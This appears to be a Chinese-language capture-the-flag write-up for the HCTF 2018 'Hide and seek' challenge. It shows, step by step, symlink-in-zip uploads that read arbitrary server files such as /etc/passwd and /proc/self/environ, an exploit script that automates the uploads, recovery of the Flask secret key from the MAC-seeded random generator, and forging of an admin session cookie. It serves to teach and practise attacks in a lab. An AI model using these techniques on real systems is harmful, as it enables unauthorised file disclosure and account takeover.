BUUCTF [HCTF 2018] Hide and seek

BUUCTF [HCTF 2018] Hide and seek

考点:

  1. 软连接读取任意文件
  2. Flask伪造session
  3. /proc/self/environ文件获取当前进程的环境变量列表
  4. random.seed()生成的伪随机数种子
  5. MAC地址存放在/sys/class/net/eth0/address文件

启动环境:
BUUCTF [HCTF 2018] Hide and seek_第1张图片
信息中心,登陆后查看更多信息,导航栏上内容并不会跳转

尝试登陆:

BUUCTF [HCTF 2018] Hide and seek_第2张图片
以为是弱密码,但发现任意用户密码均可登陆,登陆后存在上传点
首先上传正常的txt文件:
BUUCTF [HCTF 2018] Hide and seek_第3张图片
得到回显:
在这里插入图片描述
需要上传zip文件,猜测可能是通过软连接实现任意文件读取,制作软链接读取etc/passwd文件:

ln -s /etc/passwd passwd
zip -y passwd.zip passwd

得到如下压缩包:
BUUCTF [HCTF 2018] Hide and seek_第4张图片
上传后,成功得到回显:
BUUCTF [HCTF 2018] Hide and seek_第5张图片
成功被执行,制作读取/flag的软连接,但是未能得到回显
猜测可能是test用户权限的问题,尝试以admin用户登录:
BUUCTF [HCTF 2018] Hide and seek_第6张图片
因为可以实现任意账号密码登陆,猜测可能没有数据库,而是通过Cookie判断,使用test用户登陆,查看Cookie

session=eyJ1c2VybmFtZSI6InRlc3QifQ.Et7HoQ.bJUvSzoorCsh7a3yjgnrN9vOUx4

很有可能是Flask的框架,尝试使用Session解密脚本:

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)


if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

运行命令:

python3 flask-session-decode.py eyJ1c2VybmFtZSI6InRlc3QifQ.Et7HoQ.bJUvSzoorCsh7a3yjgnrN9vOUx4

得到解密后的内容:
在这里插入图片描述
可以初步判断是以Session判断是否是admin用户,但伪造session还需要Flask的SECRET_KEY值。
因为已经通过软连接读取任意文件,可以通过读取/proc/self/environ文件,以获取当前进程的环境变量列表。
其中/proc是虚拟文件系统,存储当前运行状态的一些特殊文件,可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态,而environ是当前进程的环境变量列表。

制作读取该文件的软连接:

ln -s /proc/self/environ environ
zip -y environ.zip environ

上传文件后,获得回显:

HOSTNAME=e3cc728ea7d4
SHLVL=1
PYTHON_PIP_VERSION=19.1.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/uwsgi.ini
WERKZEUG_SERVER_FD=3
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static_=/usr/local/bin/python
UWSGI_CHEAPER=2
WERKZEUG_RUN_MAIN=true
NGINX_VERSION=1.15.81~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.15.8.0.2.7-1~stretch
LANG=C.UTF8
PYTHON_VERSION=3.6.8
NGINX_WORKER_PROCESSES=1
LISTEN_PORT=80
STATIC_INDEX=0
PWD=/app
PYTHONPATH=/app
STATIC_PATH=/app/static
FLAG=not_flag

发现其存在UWSGI_INI=/app/uwsgi.ini,也就是uwsgi服务器的配置文件,其中可能包含有源码路径,同样的方式制作软连接读取,在后续查阅大佬wp时,发现了软链接读取文件的EXP:记[HCTF 2018]Hideandseek

进行部分修改后:

import os
import requests
import sys


def make_zip():
    os.system('ln -s ' + sys.argv[2] + ' test_exp')
    os.system('zip -y test_exp.zip test_exp')


def run():
    make_zip()
    res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})
    print(res.text)

    os.system('rm -rf test_exp')
    os.system('rm -rf test_exp.zip')


if __name__ == '__main__':
    run()

运行命令:

python3 ln_exp.py http://dda6fb28-b2f4-4cbb-8a41-14dcfac2d826.node3.buuoj.cn/upload /app/uwsgi.ini

得到内容:
BUUCTF [HCTF 2018] Hide and seek_第7张图片
可以看到其源码应是/app/main.py,使用EXP尝试读取源码:

python3 ln_exp.py http://dda6fb28-b2f4-4cbb-8a41-14dcfac2d826.node3.buuoj.cn/upload /app/main.py

得到其源码:

from flask import Flask
app = Flask(__name__)


@app.route("/")
def hello():
    return "Hello World from Flask in a uWSGI Nginx Docker container with \
     Python 3.6 (default)"

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=True, port=80)

开始有些疑惑,但在查阅了大佬wp后,发现应该是这道题小bug,原题中的main.py文件应在/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py路径下,而本题也是,使用写好的EXP读取:

python3 ln_exp.py http://dda6fb28-b2f4-4cbb-8a41-14dcfac2d826.node3.buuoj.cn/upload /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

得到回显:

 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

这次读取的才是真正的main.py源码
不对全部的源码进行分析了,直接查找所需的SECRET_KEY的值发现:

app.config['SECRET_KEY'] = str(random.random()*100)

其对SECRET_KEY做了random随机处理,但random生成的随机数都是伪随机数,有一定的规律。
发现了其中:

random.seed(uuid.getnode())

random.seed()方法改变随机数生成器的种子,Python之random.seed()用法
uuid.getnode()方法以48正整数形式获取硬件地址,也就是服务器的MAC地址

若获取了服务器的MAC地址值,那么就可以构造出为伪随机的种子值,想到Linux中一切皆文件,查找到MAC地址存放在/sys/class/net/eth0/address文件中,读取该文件:

python3 ln_exp.py http://dda6fb28-b2f4-4cbb-8a41-14dcfac2d826.node3.buuoj.cn/upload /sys/class/net/eth0/address

得到其十六进制所表示的MAC地址
在这里插入图片描述

通过Python3将其转换为十进制

mac = "02:42:ac:10:8e:10".split(":")

# 首先转换成十进制
mac_int = [int(i, 16) for i in mac]

# 转换成二进制
mac_bin = [bin(i).replace('0b', '').zfill(8) for i in mac_int]

# 转换为整数
mac_dec = int("".join(mac_bin), 2)
print(mac_dec)

种子值得到2485377863184,编写Python构造SECRET_KEY的值:

import random


random.seed(2485377863184)
SECRET_KEY = str(random.random() * 100)
print(SECRET_KEY)

运行后,得到SECRET_KEY的值为:74.28774432740572,使用flask-session-cookie-manager构造Session:

python3 flask_session_cookie_manager3.py encode -s "74.28774432740572" -t "{'username': 'admin'}"

运行后,得到加密的Session:

eyJ1c2VybmFtZSI6ImFkbWluIn0.X_1LlA.FrDsn4otQkr_y-MCMPLILtpbcgE

F12中的Application中替换:
BUUCTF [HCTF 2018] Hide and seek_第8张图片
刷新后,成功以admin身份登陆,得到flag:
BUUCTF [HCTF 2018] Hide and seek_第9张图片

你可能感兴趣的:(BUUCTF,WEB,Writeup,BUUCTF,HCTF,2018,Hide,and,seek,writeup,CTF)